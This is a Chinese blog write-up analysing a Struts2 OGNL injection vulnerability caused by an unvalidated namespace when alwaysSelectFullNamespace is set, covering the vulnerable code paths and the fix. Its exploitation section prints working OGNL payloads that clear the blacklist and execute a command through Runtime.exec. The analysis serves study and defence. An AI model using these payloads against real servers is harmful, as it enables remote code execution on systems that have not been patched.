前言
经典 Java 软件漏洞 struts 系列,准备一个个看过去。
这个就是最后一个了。
环境搭建
2.3.34 版本 struts2 + Tomcat 9。
修改 struts.xml:
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
漏洞分析
阅读官方通告和漏洞发现者的文章,设置一个 redirectAction 的 result:
<result name="success" type="redirectAction">
<param name="actionName">login!update.action</param>
</result>
然后全局搜索用到 alwaysSelectFullNamespace 这个布尔的地方,找到 DefaultActionMapper 类的 parseNameAndNamespace 函数:
...
else if (alwaysSelectFullNamespace) {
// Simply select the namespace as everything before the last slash
namespace = uri.substring(0, lastSlash);
name = uri.substring(lastSlash + 1);
}
...
mapping.setNamespace(namespace);
mapping.setName(cleanupActionName(name));
看到 mapping.setName 这里,namespace 没有经过校验,存在 OGNL 表达式注入的可能,可以联想到之前 setResult、setMethod 导致的问题,按照经验继续搜索 mapping.getNamespace、proxy.getNamespace、getProxy().getNamespace 等调用,可以找到 3 个类,分别是:
ServletActionRedirectResult
PostbackResult
ActionChainResult
先看 ServletActionRedirectResult 类:
public void execute(ActionInvocation invocation) throws Exception {
actionName = conditionalParse(actionName, invocation);
if (namespace == null) {
namespace = invocation.getProxy().getNamespace();
} else {
namespace = conditionalParse(namespace, invocation);
}
if (method == null) {
method = "";
} else {
method = conditionalParse(method, invocation);
}
String tmpLocation = actionMapper.getUriFromActionMapping(new ActionMapping(actionName, namespace, method, null));
setLocation(tmpLocation);
super.execute(invocation);
}
super.execute 会往上来到 StrutsResultSupport 类:
public void execute(ActionInvocation invocation) throws Exception {
lastFinalLocation = conditionalParse(location, invocation);
doExecute(lastFinalLocation, invocation);
}
同样很眼熟,会将 location,即用 namespace 和其他数据拼接成的路径当作表达式进行解析,触发了漏洞。
接下来看 PostbackResult 类,可以看到逻辑基本一致:
@Override
public void execute(ActionInvocation invocation) throws Exception {
String postbackUri = makePostbackUri(invocation);
setLocation(postbackUri);
super.execute(invocation);
}
makePostbackUri 函数拼接,然后 execute 触发。
最后看看 ActionChainResult 类:
public void execute(ActionInvocation invocation) throws Exception {
// if the finalNamespace wasn't explicitly defined, assume the current one
if (this.namespace == null) {
this.namespace = invocation.getProxy().getNamespace();
}
ValueStack stack = ActionContext.getContext().getValueStack();
String finalNamespace = TextParseUtil.translateVariables(namespace, stack);
...
}
可以看到调用了 translateVariables 函数,直接把 namespace 当作表达式来用了。
漏洞利用
2.3.34 版本中 #context 无法使用了(如果是 2.5.10 版本之后的,黑名单也无法用 clear 来清空了),所以需要另寻他法。
阅读参考文章,#context 可以用 #attr 来替代,clear 可以用 setter 来替代,最后的 payload 为两步,先清空黑名单:
(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))
然后执行命令:
(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('calc'))
2.3.x 版本的无法使用这个 payload,因为 setter 跟 2.5.x 有一点差别:
// 2.5.x
public void setExcludedClasses(String commaDelimitedClasses) {
Set<String> classNames = TextParseUtil.commaDelimitedStringToSet(commaDelimitedClasses);
Set<Class<?>> classes = new HashSet<>();
for (String className : classNames) {
try {
classes.add(Class.forName(className));
} catch (ClassNotFoundException e) {
throw new ConfigurationException("Cannot load excluded class: " + className, e);
}
}
excludedClasses = Collections.unmodifiableSet(classes);
}
// 2.3.x
public void setExcludedClasses(String commaDelimitedClasses) {
Set<String> classes = TextParseUtil.commaDelimitedStringToSet(commaDelimitedClasses);
for (String className : classes) {
try {
excludedClasses.add(Class.forName(className));
} catch (ClassNotFoundException e) {
throw new ConfigurationException("Cannot load excluded class: " + className, e);
}
}
}
可以看到少了最后的一句:
excludedClasses = Collections.unmodifiableSet(classes);
所以调用 setter 无法清空黑名单。
漏洞修复
给 namespace 加上了校验:
protected Pattern allowedNamespaceNames = Pattern.compile("[a-zA-Z0-9._/\\-]*");
...
mapping.setNamespace(cleanupNamespaceName(namespace));
参考文章:
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!